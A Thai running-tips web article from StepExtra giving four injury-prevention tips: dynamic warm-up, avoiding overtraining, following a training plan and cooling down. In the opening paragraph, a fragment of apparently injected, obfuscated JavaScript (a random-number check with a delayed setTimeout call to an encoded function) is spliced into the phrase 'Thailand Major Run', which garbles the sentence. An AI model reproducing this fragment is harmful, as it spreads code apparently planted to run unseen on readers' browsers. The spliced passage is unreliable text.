• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

4 ทิปลดโอกาสบาดเจ็บง่ายๆ และมีประโยชน์สำหรับ นักวิ่ง

kan by kan
15 September 2017
in Feature, Running Tips, Tips & Technics, Training
0
นักวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ช่วงนี้ถือได้ว่างานวิ่งขนาดใหญ่ระดับ Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Major Run ทยอยเปิดรับสมัครและทยอยปิดรับสมัครกันเร็วมาก งานวิ่งใหญ่ๆ นักวิ่งอยากสมัครก็เยอะ การสมัครงานวิ่งระดับชาตินี้ต่อไปคงต้องใช้ดวงในการแย่งชิงตั๋ววิ่งด้วยละ กระแสงานวิ่งเริ่มก่อตัวและมีโมเมนตรัมดีมากดังแต่การเปิดตัวของบุรีรัมย์มาราธอน ต่อมาด้วยข่าวการเปิดรับสมัครตะนาวศรีเทรล และที่พลาดไม่ได้ก็จอมบึงมาราธอนปี 2561

ใครที่ลงสมัครงานวิ่งแล้วก็อย่าลืมลงฝึกซ้อมฟิตร่างกายแต่เนินๆ อย่าไปหวังว่าใช้ใจวิ่งแล้วจะจบแบบสบายดี มันมีแต่เจ็บแต่จบนะครับ ใครที่ลงไว้หลายงานก็อย่าหักโหมมากเกินไป เพราะจะเกิดอาการบาดเจ็บกล้ามเนื้อได้ การฝึกซ้อมที่ดีควรค่อยๆ ไต่ลำดับความยากขึ้นไปเรื่อยๆ มีเวลาพักผ่อน การฝึกวิ่งก็ควรมีสลับกับการฝึกฝนกล้ามเนื้อ

ทิปในการลดโอกาสบาดเจ็บสำหรับ นักวิ่ง ที่ StepExtra นำเสนอในวันนี้ได้แก่….

1. การยืดกล้ามเนื้อมากเกินไประหว่างวอร์มอัพจะทำให้เก็บอาการบาดเจ็บได้ เราแนะนำการวอร์มอัพแบบที่เรียกว่า Dynamic warm-up อยากรู้ว่าทำอย่างไร เราไปดูคลิปของหมอเมย์กันครับ

สำหรับใครที่มีเวลาจำกัดหรือมาสนามวิ่งช้าไม่มีเวลาวอร์มอัพ แนะนำให้ลองใช้วิธีการเดิน ใช้วิธีการเดินเร็วเพื่อเป็นการวอร์มอัพกล้ามเนื้อไปในตัวระหว่างเดินทางไปยังสนามวิ่ง

2. อย่าโหมฝึกหนัก การสร้างตารางฝึกวิ่งที่ต้องลงสนามทุกวัน ต้องวิ่งหนัก วิ่งให้เร็ว นานๆ เข้าจะทำให้ performance ของเราลดลง การฝึกวิ่งนั้น นักวิ่งที่ดีควรมีการสลับ การวิ่งวิ่งหนักเบาสลับกันไป มีวันพัก เพื่อให้กล้ามเนื้อได้มีเวลาซ่อมแซม และมีควรมีการสลับทำกิจกรรมอย่างอื่นที่ไม่ใช่การวิ่ง เช่นการปั่นจักรยานและการว่ายน้ำ หรือการฝึก Crossfit Training ตัวอย่างเช่น…

3. ใช้ตารางฝึกประกอบการซ้อม

นักวิ่ง

การมีตารางฝึกเป็นการสร้างเป้าหมายให้ชัดเจน มีการควบคุมปริมาณการฝึกให้เหมาะกับผู้วิ่ง เราจะไม่ต้องรู้สึกว่าวิ่งน้อยไปหรือวิ่งมากเกินไป ช่วยลดโอกาสเกิดอาการบาดเจ็บ และช่วยควบคุมและแบ่งเวลาในการทำกิจกรรมอย่างอื่นด้วย

4. อย่าลืมคูลดาวน์หลังการวิ่งทุกครั้ง

ทุกครั้งหลังการวิ่งฝึกซ้อมก็อย่าลืมทำการยืดเหยียดกล้ามเนื้อ เพื่อให้เลือดที่ไปเลี้ยงกล้ามเนื้อช่วงล่างค่อยๆ กลับไปเลี้ยงส่วนต่างๆ ตามปกติ เพราะระหว่างการวิ่งเส้นเลือดช่วงล่าง เช่นน่อง ขา เท้า จะขยายใหญ่ขึ้น ทำให้เลือดไปเลี้ยงเยอะขึ้น การหยุดออกกำลังกายหรือหยุดวิ่งทันทีจะทำให้เลือดยังค้าง เลือดไหลไปเลี้ยงช่วงบนจะน้อยกว่าช่วงล่างและทำให้เกิดอาการหน้ามืดเป็นลมได้ ดังนั้นเราควรค่อยๆ ลดความเร็วการวิ่งลง เดินแล้วยืดเหยียด

เราไปดูการยืดเหยียดกล้ามเนื้อจากครูดินและช่อง ThaiPBS กันครับ

Tags: Runrunner
ShareTweetShare
kan

kan

Related Posts

Running Tips

10 ทิป วิ่ง 10K ครั้งเเรกสำหรับมือใหม่

14 November 2018
Golden Rules สำหรับนักวิ่ง Road Runner
Running Tips

Golden Rules สำหรับนักวิ่ง Road Runner

28 August 2018
สังเกตไหม…ทำไม Pacer ถึงจะต้องมี 3 คน
Feature

สังเกตไหม…ทำไม Pacer ถึงจะต้องมี 3 คน

11 September 2017
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.